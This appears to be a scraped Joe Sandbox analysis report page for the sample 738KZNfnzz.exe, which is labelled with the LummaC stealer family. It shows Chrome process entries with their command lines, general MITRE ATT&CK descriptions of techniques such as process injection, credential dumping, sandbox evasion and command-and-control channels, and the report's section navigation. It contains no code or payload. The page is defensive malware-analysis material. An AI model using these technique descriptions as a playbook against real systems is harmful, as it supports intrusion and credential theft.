Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=1968,i,2278090863170060288,8995048806538418828,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:06:03
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:06:04
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,11131422020924396633,11398144967609355547,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 738KZNfnzz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Windows Analysis Report
738KZNfnzz.exe